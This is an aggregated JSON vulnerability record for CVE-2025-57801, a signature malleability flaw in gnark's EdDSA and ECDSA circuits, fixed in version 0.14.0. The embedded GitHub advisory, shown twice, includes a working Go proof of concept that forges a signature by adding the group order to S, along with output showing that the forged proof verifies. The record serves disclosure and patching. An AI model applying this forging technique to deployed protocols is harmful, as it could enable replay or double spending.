{"id":"CVE-2025-57801","aliases":["EUVD-2025-25624","GHSA-95v9-hv42-pwrj","GO-2025-3912"],"status":"published","title":"gnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks","description":"gnark is a zero-knowledge proof system framework. In versions prior to 0.14.0, the Verify function in eddsa.go and ecdsa.go used the S value from a signature without asserting that 0 ≤ S \u003c order, leading to a signature malleability vulnerability. Because gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from R and S, this enables signature malleability and may allow double spending. This issue has been addressed in version 0.14.0.","severity":{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00226,"percentile":0.13375,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-347"],"published":"2025-08-22T19:54:05Z","modified":"2026-10-28T02:31:12Z","fixes":[{"ecosystem":"Go","package":"github.com/consensys/gnark","fixed_in":["0.14.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/consensys/gnark","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.14.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/consensys/gnark","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.14.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/consensys/gnark","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.14.0"}]}]}],"products":[{"vendor":"consensys","product":"gnark"}],"references":[{"url":"https://github.com/Consensys/gnark/security/advisories/GHSA-95v9-hv42-pwrj","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/Consensys/gnark/commit/0ba6730f05537a351517998add89a61a0d82716e","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-57801","tags":["advisory"]},{"url":"https://pkg.go.dev/vuln/GO-2025-3912","tags":["web"]},{"url":"https://github.com/advisories/GHSA-95v9-hv42-pwrj"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/57xxx/CVE-2025-57801.json","tags":["advisory"]},{"url":"https://github.com/Consensys/gnark","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-57801","title":"gnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks","description":"gnark is a zero-knowledge proof system framework. In versions prior to 0.14.0, the Verify function in eddsa.go and ecdsa.go used the S value from a signature without asserting that 0 ≤ S \u003c order, leading to a signature malleability vulnerability. Because gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from R and S, this enables signature malleability and may allow double spending. This issue has been addressed in version 0.14.0.","status":"published","published":"2025-08-22T19:54:05.854Z","modified":"2025-08-22T20:06:00.913Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T14:32:35.099955Z"}],"euvd":[{"id":"EUVD-2025-25624","description":"gnark is a zero-knowledge proof system framework. In versions prior to 0.14.0, the Verify function in eddsa.go and ecdsa.go used the S value from a signature without asserting that 0 ≤ S \u003c order, leading to a signature malleability vulnerability. Because gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from R and S, this enables signature malleability and may allow double spending. This issue has been addressed in version 0.14.0.","status":"published","published":"2025-08-22T19:54:05Z","modified":"2025-08-22T20:06:00Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T20:31:54.001843Z"}],"ghsa":[{"id":"GHSA-95v9-hv42-pwrj","title":"gnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks","description":"In version before, `sig.s` used without asserting `0 ≤ S \u003c order` in `Verify function` in [eddsa.go](https://github.com/Consensys/gnark/blob/d9a42397979b05f95f21a601fd219b06a8d60b7b/std/signature/eddsa/eddsa.go) and [ecdsa.go](https://github.com/Consensys/gnark/blob/d9a42397979b05f95f21a601fd219b06a8d60b7b/std/signature/ecdsa/ecdsa.go), which will lead to *signature malleability* vulnerability. \n\n\n\n### Impact\n\nSince gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from `(R, S)`, this enables signature malleability and may lead to double spending.\n\n\n\n### Exploitation\n\n```go\npackage main\n\nimport (\n\t\"crypto/rand\"\n\t\"fmt\"\n\t\"math/big\"\n\n\t\"github.com/consensys/gnark-crypto/ecc\"\n\tmimcHash \"github.com/consensys/gnark-crypto/ecc/bn254/fr/mimc\"\n\teddsaCrypto \"github.com/consensys/gnark-crypto/ecc/bn254/twistededwards/eddsa\"\n\n\t\"github.com/consensys/gnark/backend/groth16\"\n\t\"github.com/consensys/gnark/frontend\"\n\t\"github.com/consensys/gnark/frontend/cs/r1cs\"\n\t\"github.com/consensys/gnark/std/algebra/native/twistededwards\"\n\tstdMimc \"github.com/consensys/gnark/std/hash/mimc\"\n\tstdEddsa \"github.com/consensys/gnark/std/signature/eddsa\"\n\n\tte \"github.com/consensys/gnark-crypto/ecc/twistededwards\"\n)\n\n// Circuit\ntype eddsaCircuit struct {\n\tMsg frontend.Variable  `gnark:\",public\"`\n\tPk  stdEddsa.PublicKey `gnark:\",public\"`\n\tSig stdEddsa.Signature\n}\n\nfunc (c *eddsaCircuit) Define(api frontend.API) error {\n\tcurve, _ := twistededwards.NewEdCurve(api, te.BN254)\n\thasher, _ := stdMimc.NewMiMC(api)\n\tstdEddsa.Verify(curve, c.Sig, c.Msg, c.Pk, \u0026hasher)\n\treturn nil\n}\n\nfunc groupOrder() *big.Int {\n\t// BN254 scalar field order (r)\n\tconst rStr = \"21888242871839275222246405745257275088548364400416034343698204186575808495617\"\n\tn, _ := new(big.Int).SetString(rStr, 10)\n\treturn n\n}\n\n// Forge signature: S → S + order\nfunc forge(sig eddsaCrypto.Signature) eddsaCrypto.Signature {\n\torder := groupOrder()\n\n\tvar forged eddsaCrypto.Signature\n\tforged.R = sig.R\n\n\ts := new(big.Int).SetBytes(sig.S[:])\n\ts.Add(s, order)\n\n\tbuf := make([]byte, 32)\n\tcopy(buf[32-len(s.Bytes()):], s.Bytes())\n\tcopy(forged.S[:], buf)\n\treturn forged\n}\n\nfunc main() {\n\t// Generate key pair\n\tpriv, _ := eddsaCrypto.GenerateKey(rand.Reader)\n\tpub := priv.PublicKey\n\tmsg := []byte(\"multi-witness\")\n\n\t// Create honest signature\n\th := mimcHash.NewMiMC()\n\th.Write(msg)\n\trawSig, _ := priv.Sign(msg, h)\n\n\tvar honest eddsaCrypto.Signature\n\thonest.SetBytes(rawSig)\n\tforged := forge(honest) // S + order\n\n\t// Setup: Compile circuit and do trusted setup\n\tcircuit := \u0026eddsaCircuit{}\n\tccs, err := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, circuit)\n\tif err != nil {\n\t\tfmt.Printf(\"Circuit compilation failed: %v\\n\", err)\n\t\treturn\n\t}\n\n\tpk, vk, err := groth16.Setup(ccs)\n\tif err != nil {\n\t\tfmt.Printf(\"Trusted setup failed: %v\\n\", err)\n\t\treturn\n\t}\n\n\t// Public inputs (same for both witnesses)\n\tvar public eddsaCircuit\n\tpublic.Msg = new(big.Int).SetBytes(msg)\n\tpublic.Pk.Assign(te.BN254, pub.Bytes())\n\n\t// witness 1: honest signature\n\tw1 := public\n\tw1.Sig.Assign(te.BN254, honest.Bytes())\n\n\twitness1, err := frontend.NewWitness(\u0026w1, ecc.BN254.ScalarField())\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to create witness1: %v\\n\", err)\n\t\treturn\n\t}\n\n\tproof1, err := groth16.Prove(ccs, pk, witness1)\n\tif err != nil {\n\t\tfmt.Println(\"Witness 1 (honest): Prover failed!\")\n\t} else {\n\t\tpublicWitness1, err := witness1.Public()\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Witness 1 (honest): Prover failed!\")\n\t\t} else {\n\t\t\terr = groth16.Verify(proof1, vk, publicWitness1)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"Witness 1 (honest): Prover failed!\")\n\t\t\t} else {\n\t\t\t\tfmt.Println(\"Witness 1 (honest): Prover succeeded!\")\n\t\t\t}\n\t\t}\n\t}\n\n\t// witness 2: forged signature\n\tw2 := public\n\tw2.Sig.Assign(te.BN254, forged.Bytes())\n\tfmt.Println(honest.R.Equal(\u0026forged.R))\n\tfmt.Println(honest.S != forged.S)\n\n\twitness2, err := frontend.NewWitness(\u0026w2, ecc.BN254.ScalarField())\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to create witness2: %v\\n\", err)\n\t\treturn\n\t}\n\n\tproof2, err := groth16.Prove(ccs, pk, witness2)\n\tif err != nil {\n\t\tfmt.Println(\"Witness 2 (forged): Prover failed!\")\n\t} else {\n\t\tpublicWitness2, err := witness2.Public()\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Witness 2 (forged): Prover failed!\")\n\t\t} else {\n\t\t\terr = groth16.Verify(proof2, vk, publicWitness2)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"Witness 2 (forged): Prover failed!\")\n\t\t\t} else {\n\t\t\t\tfmt.Println(\"Witness 2 (forged): Prover succeeded!\")\n\t\t\t}\n\t\t}\n\t}\n}\n```\n\n### Result\n\n```bash\ngo run multiple_witnesses.go\n\n13:47:33 INF compiling circuit\n13:47:33 INF parsed circuit inputs nbPublic=3 nbSecret=3\n13:47:33 INF building constraint builder nbConstraints=7003\n13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.696334\n13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=44.164208\n13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.983583\nWitness 1 (honest): Prover succeeded!\ntrue\ntrue\n13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.59125\n13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=47.168709\n13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.995833\nWitness 2 (forged): Prover succeeded!\n```\n\n\n\n### Credits\n\nXlabAI Team of Tencent Xuanwu Lab\n\nAtuin Automated Vulnerability Discovery Engine \n\nSJTU Group of Software Security In Progress\n\nProf. Yu Yu's Lab at SJTU\n\n### Additional mitigation\n\nThe initial patch added check for `s \u003c= curve order`, omitting the case `s == curve order`. Even though the case is unlikely to be exploitable (requires finding a preimage for `H(R || A || M)`), then it is additionally fixed in https://github.com/Consensys/gnark/pull/1684 (commit https://github.com/Consensys/gnark/commit/69638c5f14b77ae0ebee23e1d8f64f3bb4e22fd5 on master). Thanks for additional reporting by https://github.com/kexinoh.","status":"published","published":"2025-08-22T20:58:21Z","modified":"2026-01-22T16:04:13Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T14:39:19.525691Z"}],"nvd":[{"id":"CVE-2025-57801","description":"gnark is a zero-knowledge proof system framework. In versions prior to 0.14.0, the Verify function in eddsa.go and ecdsa.go used the S value from a signature without asserting that 0 ≤ S \u003c order, leading to a signature malleability vulnerability. Because gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from R and S, this enables signature malleability and may allow double spending. This issue has been addressed in version 0.14.0.","status":"published","published":"2025-08-22T20:15:33.08Z","modified":"2026-06-17T09:43:27.693Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T14:11:25.261243Z"}],"osv":[{"id":"CVE-2025-57801","title":"gnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks","description":"gnark is a zero-knowledge proof system framework. In versions prior to 0.14.0, the Verify function in eddsa.go and ecdsa.go used the S value from a signature without asserting that 0 ≤ S \u003c order, leading to a signature malleability vulnerability. Because gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from R and S, this enables signature malleability and may allow double spending. This issue has been addressed in version 0.14.0.","status":"published","published":"2025-08-22T19:54:05.854Z","modified":"2026-10-28T02:31:12.973615632Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T15:44:51.190588Z"},{"id":"GHSA-95v9-hv42-pwrj","title":"gnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks","description":"In version before, `sig.s` used without asserting `0 ≤ S \u003c order` in `Verify function` in [eddsa.go](https://github.com/Consensys/gnark/blob/d9a42397979b05f95f21a601fd219b06a8d60b7b/std/signature/eddsa/eddsa.go) and [ecdsa.go](https://github.com/Consensys/gnark/blob/d9a42397979b05f95f21a601fd219b06a8d60b7b/std/signature/ecdsa/ecdsa.go), which will lead to *signature malleability* vulnerability. \n\n\n\n### Impact\n\nSince gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from `(R, S)`, this enables signature malleability and may lead to double spending.\n\n\n\n### Exploitation\n\n```go\npackage main\n\nimport (\n\t\"crypto/rand\"\n\t\"fmt\"\n\t\"math/big\"\n\n\t\"github.com/consensys/gnark-crypto/ecc\"\n\tmimcHash \"github.com/consensys/gnark-crypto/ecc/bn254/fr/mimc\"\n\teddsaCrypto \"github.com/consensys/gnark-crypto/ecc/bn254/twistededwards/eddsa\"\n\n\t\"github.com/consensys/gnark/backend/groth16\"\n\t\"github.com/consensys/gnark/frontend\"\n\t\"github.com/consensys/gnark/frontend/cs/r1cs\"\n\t\"github.com/consensys/gnark/std/algebra/native/twistededwards\"\n\tstdMimc \"github.com/consensys/gnark/std/hash/mimc\"\n\tstdEddsa \"github.com/consensys/gnark/std/signature/eddsa\"\n\n\tte \"github.com/consensys/gnark-crypto/ecc/twistededwards\"\n)\n\n// Circuit\ntype eddsaCircuit struct {\n\tMsg frontend.Variable  `gnark:\",public\"`\n\tPk  stdEddsa.PublicKey `gnark:\",public\"`\n\tSig stdEddsa.Signature\n}\n\nfunc (c *eddsaCircuit) Define(api frontend.API) error {\n\tcurve, _ := twistededwards.NewEdCurve(api, te.BN254)\n\thasher, _ := stdMimc.NewMiMC(api)\n\tstdEddsa.Verify(curve, c.Sig, c.Msg, c.Pk, \u0026hasher)\n\treturn nil\n}\n\nfunc groupOrder() *big.Int {\n\t// BN254 scalar field order (r)\n\tconst rStr = \"21888242871839275222246405745257275088548364400416034343698204186575808495617\"\n\tn, _ := new(big.Int).SetString(rStr, 10)\n\treturn n\n}\n\n// Forge signature: S → S + order\nfunc forge(sig eddsaCrypto.Signature) eddsaCrypto.Signature {\n\torder := groupOrder()\n\n\tvar forged eddsaCrypto.Signature\n\tforged.R = sig.R\n\n\ts := new(big.Int).SetBytes(sig.S[:])\n\ts.Add(s, order)\n\n\tbuf := make([]byte, 32)\n\tcopy(buf[32-len(s.Bytes()):], s.Bytes())\n\tcopy(forged.S[:], buf)\n\treturn forged\n}\n\nfunc main() {\n\t// Generate key pair\n\tpriv, _ := eddsaCrypto.GenerateKey(rand.Reader)\n\tpub := priv.PublicKey\n\tmsg := []byte(\"multi-witness\")\n\n\t// Create honest signature\n\th := mimcHash.NewMiMC()\n\th.Write(msg)\n\trawSig, _ := priv.Sign(msg, h)\n\n\tvar honest eddsaCrypto.Signature\n\thonest.SetBytes(rawSig)\n\tforged := forge(honest) // S + order\n\n\t// Setup: Compile circuit and do trusted setup\n\tcircuit := \u0026eddsaCircuit{}\n\tccs, err := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, circuit)\n\tif err != nil {\n\t\tfmt.Printf(\"Circuit compilation failed: %v\\n\", err)\n\t\treturn\n\t}\n\n\tpk, vk, err := groth16.Setup(ccs)\n\tif err != nil {\n\t\tfmt.Printf(\"Trusted setup failed: %v\\n\", err)\n\t\treturn\n\t}\n\n\t// Public inputs (same for both witnesses)\n\tvar public eddsaCircuit\n\tpublic.Msg = new(big.Int).SetBytes(msg)\n\tpublic.Pk.Assign(te.BN254, pub.Bytes())\n\n\t// witness 1: honest signature\n\tw1 := public\n\tw1.Sig.Assign(te.BN254, honest.Bytes())\n\n\twitness1, err := frontend.NewWitness(\u0026w1, ecc.BN254.ScalarField())\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to create witness1: %v\\n\", err)\n\t\treturn\n\t}\n\n\tproof1, err := groth16.Prove(ccs, pk, witness1)\n\tif err != nil {\n\t\tfmt.Println(\"Witness 1 (honest): Prover failed!\")\n\t} else {\n\t\tpublicWitness1, err := witness1.Public()\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Witness 1 (honest): Prover failed!\")\n\t\t} else {\n\t\t\terr = groth16.Verify(proof1, vk, publicWitness1)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"Witness 1 (honest): Prover failed!\")\n\t\t\t} else {\n\t\t\t\tfmt.Println(\"Witness 1 (honest): Prover succeeded!\")\n\t\t\t}\n\t\t}\n\t}\n\n\t// witness 2: forged signature\n\tw2 := public\n\tw2.Sig.Assign(te.BN254, forged.Bytes())\n\tfmt.Println(honest.R.Equal(\u0026forged.R))\n\tfmt.Println(honest.S != forged.S)\n\n\twitness2, err := frontend.NewWitness(\u0026w2, ecc.BN254.ScalarField())\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to create witness2: %v\\n\", err)\n\t\treturn\n\t}\n\n\tproof2, err := groth16.Prove(ccs, pk, witness2)\n\tif err != nil {\n\t\tfmt.Println(\"Witness 2 (forged): Prover failed!\")\n\t} else {\n\t\tpublicWitness2, err := witness2.Public()\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Witness 2 (forged): Prover failed!\")\n\t\t} else {\n\t\t\terr = groth16.Verify(proof2, vk, publicWitness2)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"Witness 2 (forged): Prover failed!\")\n\t\t\t} else {\n\t\t\t\tfmt.Println(\"Witness 2 (forged): Prover succeeded!\")\n\t\t\t}\n\t\t}\n\t}\n}\n```\n\n### Result\n\n```bash\ngo run multiple_witnesses.go\n\n13:47:33 INF compiling circuit\n13:47:33 INF parsed circuit inputs nbPublic=3 nbSecret=3\n13:47:33 INF building constraint builder nbConstraints=7003\n13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.696334\n13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=44.164208\n13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.983583\nWitness 1 (honest): Prover succeeded!\ntrue\ntrue\n13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.59125\n13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=47.168709\n13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.995833\nWitness 2 (forged): Prover succeeded!\n```\n\n\n\n### Credits\n\nXlabAI Team of Tencent Xuanwu Lab\n\nAtuin Automated Vulnerability Discovery Engine \n\nSJTU Group of Software Security In Progress\n\nProf. Yu Yu's Lab at SJTU\n\n### Additional mitigation\n\nThe initial patch added check for `s \u003c= curve order`, omitting the case `s == curve order`. Even though the case is unlikely to be exploitable (requires finding a preimage for `H(R || A || M)`), then it is additionally fixed in https://github.com/Consensys/gnark/pull/1684 (commit https://github.com/Consensys/gnark/commit/69638c5f14b77ae0ebee23e1d8f64f3bb4e22fd5 on master). Thanks for additional reporting by https://github.com/kexinoh.","status":"published","published":"2025-08-22T20:58:21Z","modified":"2026-02-03T03:10:06.577758Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","level":"critical"},{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T15:46:43.123867Z"},{"id":"GO-2025-3912","title":"Gnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks in github.com/consensys/gnark","description":"Gnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks in github.com/consensys/gnark","status":"published","published":"2025-08-29T14:52:35Z","modified":"2026-03-03T04:56:52.514084Z","updated_at":"2026-11-02T15:47:01.728182Z"}]}}
